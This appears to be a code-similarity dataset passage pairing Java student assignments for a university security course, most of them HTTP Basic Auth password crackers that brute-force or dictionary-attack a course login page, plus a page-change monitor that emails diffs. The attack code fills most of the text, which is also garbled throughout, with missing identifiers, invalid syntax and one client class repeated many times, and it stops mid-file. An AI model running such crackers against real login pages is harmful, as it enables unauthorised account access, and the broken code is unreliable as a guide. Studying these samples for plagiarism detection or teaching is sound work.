: "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]"); System.out.println(); System.out.println(" mode : (opt) 0 - NAIVE Brute force mode"); System.out.println(" (trying from the first the last combinations)"); System.out.println(" 1 - ENHANCED Brute force mode"); System.out.println(" (dividing cracking jobs multiple threads) (default)"); System.out.println(" URL : (opt) the URL crack "); System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"); System.out.println(" charset : (optional) the character set used crack."); System.out.println(" - (default)"); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -alphanum "); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"); System.out.println(" -alphalow "); System.out.println(" abcdefghijklmnopqrstuvwxyz"); System.out.println(" -alphaup "); System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -number "); System.out.println(" 1234567890"); System.out.println(" [custom] e.g. aAbB123"); System.out.println(" , : (optional) range of characters applied in the cracking"); System.out.println(" where 1 <= <= 10 (default = 1)"); System.out.println(" <= <= 10 (default = 3)"); System.out.println(" username : (optional) the username that is used crack"); System.out.println(); System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'"); System.out.println(" have specified altogether none at all."); System.out.println(" For example, if [charset] is specified, then [], [], and"); System.out.println(" [username] have specified as well. If none of them specified,"); System.out.println(" default values used."); System.out.println(); System.out.println(" Example of invocation :"); System.out.println(" java BruteForce "); System.out.println(" java BruteForce 0"); System.out.println(" java BruteForce 1 http://localhost/tryme.php"); System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 "); System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 "); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println("Syntax error : invalid mode '"+args[0]+"'"); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println("Syntax error : invalid number '"+args[0]+"'"); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println("Unable open connection the URL '"+args[1]+"'"); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println("Invalid URL '"+args[1]+"'"); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[3]+"'"); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[4]+"'"); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)"); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)"); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)"); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals("-")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-alphanum")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; } else if (args[2].toLowerCase().equals("-alphalow")) { charset = "abcdefghijklmnopqrstuvwxyz"; } else if (args[2].toLowerCase().equals("-alphaup")) { charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-number")) { charset = "1234567890"; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println("Please specify the [charset], [], [], and [username] altogether none at all"); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println("The number of parameters expected is not more than 6. "); System.out.println(" have specified more than 6 parameters."); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = "-"; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; public static boolean isenhanced; public static String passw = ""; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = ""; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
024.java
201.java
0
import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println("Programmed by for INTE1070 Assignment 2"); String input = JOptionPane.showInputDialog( "Enter number of threads" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; doPwdCombination(); System.out.println("Total Number of Passwords Generated: " + pwdCounter); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = "" + chars[i]; password[pwdCounter++] = "" + chars[i]; System.err.print( str1 + " | " ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } System.err.println( "\n" ); } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = "words"; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println("File not found: " + fileName); } catch(IOException ioe) { System.err.println("IO Error " + ioe); } } private void createConnectionThread( int input ) { data = new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println("Number of Connection Threads Used:" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
226.java
201.java
0
import java.io.*; import java.net.*; import javax.swing.Timer; import java.awt.event.*; import javax.swing.JOptionPane; public class WatchDog { private static Process pro = null; private static Runtime run = Runtime.getRuntime(); public static void main(String[] args) { String cmd = null; try { cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/"); pro = run.exec(cmd); System.out.println(cmd); } catch (IOException e) { } class Watch implements ActionListener { BufferedReader in = null; String str = null; Socket socket; public void actionPerformed (ActionEvent event) { try { System.out.println("in Watch!"); String cmd = new String(); int ERROR = 1; cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/"); System.out.println(cmd); cmd = new String("diff original.txt new.txt"); pro = run.exec(cmd); System.out.println(cmd); in = new BufferedReader(new InputStreamReader(pro.getInputStream())); if (((str=in.readLine())!=null)&&(!str.endsWith("d0"))) { System.out.println(str); try { socket = new Socket("yallara.cs.rmit.edu.",25); PrintWriter output = new PrintWriter(socket.getOutputStream(),true); String linetobesent = null; BufferedReader getin = null; try { FileReader = new FileReader("template.txt"); getin = new BufferedReader(); while (!(linetobesent=getin.readLine()).equals("")) { System.out.println(linetobesent); output.println(linetobesent); } output.println("Orignail Line .s C New Line .s " + str); while ((linetobesent=in.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } while ((linetobesent=getin.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } cmd = new String("cp new.txt original.txt"); System.out.println(cmd); pro = run.exec(cmd); } catch (IOException ex) { System.out.println(ex); } catch (Exception ex) { System.out.println(ex); System.exit(ERROR); } finally { try { if (getin!= null) getin.read(); } catch (IOException e) {} } } catch (UnknownHostException e) { System.out.println(e); System.exit(ERROR); } catch (IOException e) { System.out.println(e); System.exit(ERROR); } } else System.out.println("string is empty"); } catch (IOException exc) { } } } Watch listener = new Watch(); Timer t = new Timer(null,listener); t.close(); JOptionPane.showMessageDialog(null,"Exit WatchDog program?"); System.exit(0); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
085.java
201.java
0
import java.Thread; import java.io.*; import java.net.*; public class Dictionary extends Thread { final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; Dictionary parent; static LineNumberReader lnr; public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; String word = ""; starttime = System.currentTimeMillis(); try { boolean passwordOkay; while(word != null && !parent.solved) { passwordOkay = false; while(!passwordOkay || word == null) { word = lnr.readLine(); passwordOkay = true; if(word.length() != 3) passwordOkay = false; } response = tryLogin(word); x++; if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")"); } } catch(Exception e) { System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { Dictionary parent; try { lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words")); } catch(Exception e) { System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } Dictionary[] attackslaves = new Dictionary[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: Dictionary <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new Dictionary(host, path, user, 0, 0, null, lnr); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = UNKNOWN; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
215.java
201.java
0
import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt"); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("")) { System.out.println(" difference"); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
131.java
201.java
0
import java.io.*; import java.net.*; public class BruteForce { private String myUsername = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; private int NUM_CHARS = 52; public static void main(String args[]) { BruteForce bf = new BruteForce(); } public BruteForce() { generatePassword(); } public void generatePassword() { int index1 = 0, index2, index3; char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; while(index1 < NUM_CHARS) { index2 = 0; while(index2 < NUM_CHARS) { index3 = 0; while(index3 < NUM_CHARS) { crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); index3++; } index2++; } index1++; } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader(isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
017.java
201.java
0
import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
077.java
201.java
0
import java.io.*; import java.net.*; public class Dictionary { public static void main (String args[]) throws IOException, MalformedURLException { final String username = ""; final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/"; final String dictfile = "/usr/share/lib/dict/words"; String temppass; String password = ""; URL url = new URL(fullurl); boolean cracked = false; startTime = System.currentTimeMillis(); BufferedReader r = new BufferedReader(new FileReader(dictfile)); while((temppass = r.readLine()) != null && !cracked) { if(temppass.length() <= 3) { if(isAlpha(temppass)) { Authenticator.setDefault(new MyAuthenticator(username,temppass)); try{ BufferedReader x = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } } stopTime = System.currentTimeMillis(); if(!cracked) System.out.println("Sorry, couldnt find the password"); else System.out.println("Password found: "+password); System.out.println("Time taken: "+(stopTime-startTime)); } public static boolean isAlpha(String s) { boolean v = true; for(int i=0; i<s.length(); i++) { if(!Character.isLetter(s.charAt(i))) v = false; } return ; } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new 